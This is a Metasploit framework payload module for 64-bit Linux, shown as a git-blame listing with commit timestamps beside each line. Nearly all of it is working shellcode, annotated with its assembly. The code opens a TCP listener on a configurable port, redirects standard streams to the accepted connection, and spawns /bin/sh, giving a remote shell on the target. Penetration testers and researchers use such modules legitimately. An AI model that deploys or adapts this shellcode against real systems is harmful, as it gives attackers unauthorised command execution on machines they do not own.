2011-10-23 11:56:13 +00:00
|
|
|
##
|
2017-07-24 13:26:21 +00:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2011-10-23 11:56:13 +00:00
|
|
|
##
|
|
|
|
|
2011-05-20 23:51:19 +00:00
|
|
|
require 'msf/core/handler/bind_tcp'
|
|
|
|
require 'msf/base/sessions/command_shell'
|
|
|
|
require 'msf/base/sessions/command_shell_options'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
module MetasploitModule
|
2015-03-09 20:31:04 +00:00
|
|
|
|
2015-03-12 07:30:06 +00:00
|
|
|
CachedSize = 86
|
2015-03-09 20:31:04 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Payload::Single
|
|
|
|
include Msf::Payload::Linux
|
|
|
|
include Msf::Sessions::CommandShellOptions
|
2011-05-20 23:51:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(merge_info(info,
|
|
|
|
'Name' => 'Linux Command Shell, Bind TCP Inline',
|
|
|
|
'Description' => 'Listen for a connection and spawn a command shell',
|
|
|
|
'Author' => 'ricky',
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Platform' => 'linux',
|
2016-10-27 21:16:05 +00:00
|
|
|
'Arch' => ARCH_X64,
|
2013-08-30 21:28:54 +00:00
|
|
|
'Handler' => Msf::Handler::BindTcp,
|
|
|
|
'Session' => Msf::Sessions::CommandShellUnix,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Offsets' =>
|
|
|
|
{
|
|
|
|
'LPORT' => [ 20, 'n' ],
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
"\x6a\x29" + # pushq $0x29
|
|
|
|
"\x58" + # pop %rax
|
|
|
|
"\x99" + # cltd
|
|
|
|
"\x6a\x02" + # pushq $0x2
|
|
|
|
"\x5f" + # pop %rdi
|
|
|
|
"\x6a\x01" + # pushq $0x1
|
|
|
|
"\x5e" + # pop %rsi
|
|
|
|
"\x0f\x05" + # syscall
|
|
|
|
"\x48\x97" + # xchg %rax,%rdi
|
|
|
|
"\x52" + # push %rdx
|
|
|
|
"\xc7\x04\x24\x02\x00" + # movl $0xb3150002,(%rsp)
|
|
|
|
"\x15\xb3" + #
|
|
|
|
"\x48\x89\xe6" + # mov %rsp,%rsi
|
|
|
|
"\x6a\x10" + # pushq $0x10
|
|
|
|
"\x5a" + # pop %rdx
|
|
|
|
"\x6a\x31" + # pushq $0x31
|
|
|
|
"\x58" + # pop %rax
|
|
|
|
"\x0f\x05" + # syscall
|
|
|
|
"\x6a\x32" + # pushq $0x32
|
|
|
|
"\x58" + # pop %rax
|
|
|
|
"\x0f\x05" + # syscall
|
|
|
|
"\x48\x31\xf6" + # xor %rsi,%rsi
|
|
|
|
"\x6a\x2b" + # pushq $0x2b
|
|
|
|
"\x58" + # pop %rax
|
|
|
|
"\x0f\x05" + # syscall
|
|
|
|
"\x48\x97" + # xchg %rax,%rdi
|
|
|
|
"\x6a\x03" + # pushq $0x3
|
|
|
|
"\x5e" + # pop %rsi
|
|
|
|
"\x48\xff\xce" + # dec %rsi
|
|
|
|
"\x6a\x21" + # pushq $0x21
|
|
|
|
"\x58" + # pop %rax
|
|
|
|
"\x0f\x05" + # syscall
|
|
|
|
"\x75\xf6" + # jne 33 <dup2_loop>
|
|
|
|
"\x6a\x3b" + # pushq $0x3b
|
|
|
|
"\x58" + # pop %rax
|
|
|
|
"\x99" + # cltd
|
|
|
|
"\x48\xbb\x2f\x62\x69\x6e\x2f" + # movabs $0x68732f6e69622f,%rbx
|
|
|
|
"\x73\x68\x00" + #
|
|
|
|
"\x53" + # push %rbx
|
|
|
|
"\x48\x89\xe7" + # mov %rsp,%rdi
|
|
|
|
"\x52" + # push %rdx
|
|
|
|
"\x57" + # push %rdi
|
|
|
|
"\x48\x89\xe6" + # mov %rsp,%rsi
|
|
|
|
"\x0f\x05" # syscall
|
|
|
|
}
|
|
|
|
))
|
|
|
|
end
|
2011-05-20 23:51:19 +00:00
|
|
|
end
|